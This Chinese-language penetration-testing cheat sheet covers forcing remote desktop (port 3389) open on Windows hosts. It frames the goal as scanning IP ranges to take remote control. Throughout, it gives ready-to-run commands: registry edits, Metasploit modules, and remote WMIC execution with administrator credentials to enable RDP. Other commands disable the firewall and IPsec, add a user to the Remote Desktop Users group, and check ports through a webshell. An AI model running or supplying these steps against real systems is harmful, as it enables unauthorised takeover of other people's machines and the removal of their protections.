1.描述
3389端口是电脑远程控制的端口,可以通过扫描一定范围的ip,有没有开启3389端口而进行远程控制行为。如果连接上了,将变得可以像操作本机一样操作远程的电脑。
2.注册表开启远程终端命令
2.1 2008 2012 2016 开启3389,写入到bat文件中
echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
2.2 MSF命令开启3389端口
run getgui -e
run post/windows/manage/enable_rdp
2.3 一条命令开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
2.4 WMIC命令开启3389端口
Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)
前提条件是确保Windows Management Instrumentation(Winmgmt)
服务已正常启动。
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
2.5 WMIC开启远程主机3389端口
支持系统:Win2k/XP/Win2k3
wmic /node:192.168.0.103 /user:administrator /password:betasec PATH
win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
支持系统:Win7/Win2k8/Win8.1/Win10/2012/2016
# 修改对应IP、账号、密码、主机名
wmic /node:192.168.0.116 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1
wmic /node:192.168.0.116 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
注意事项:
其实就是利用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。
错误:描述 = 拒绝访问,这是因为开启了UAC用户账户控制,只允许RID500管理员执行此操作。
3.查询是否开启3389 (0为On 1为OFF)
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
4.注册表查询端口号
# 配合webshell来查询,查看PortNumber
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
# 查看PortNumber
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDPTcp" /v PortNumber
5.通过网络命令查询端口
tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"
net start |find "Remote Desktop Services"
6.关闭防火墙
确定开启了远程终端并且端口没错的情况下,还是连不上目标,目标上的防火墙可能不允许,这个时候可以使用lcx端口转发,或者使用命令关闭防火墙
netsh advfirewall show allprofile state 查询状态
netsh advfirewall set allprofiles state off 关闭防火墙
net stop "Windows Firewall" 关闭防火墙
sc config sharedaccess start= disabled 禁用防火墙
net stop sharedaccess 关闭防火墙
tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"
net start |find "Remote Desktop Services"
7.关闭 ipsec
在关闭防火墙时,还是连接不上,可能是ipsec做了ip策略处理,导致连接失败
可以使用命令 net stop "IPsec Policy Agent"
8.终端连接错误方法
可以使用相同系统版本的终端进行连接或者使用 xfreerdp 连接会自动加密
xfreerdp /f /u:administrator /p:123456 /v:192.168.0.118
9.加入远程桌面组
net localgroup "Remote Desktop Users" test /add
10.终端超出最大连接数
终端超出最大连接数时可用下面的命令来连接
win + R
mstsc /v:ip:3389 /console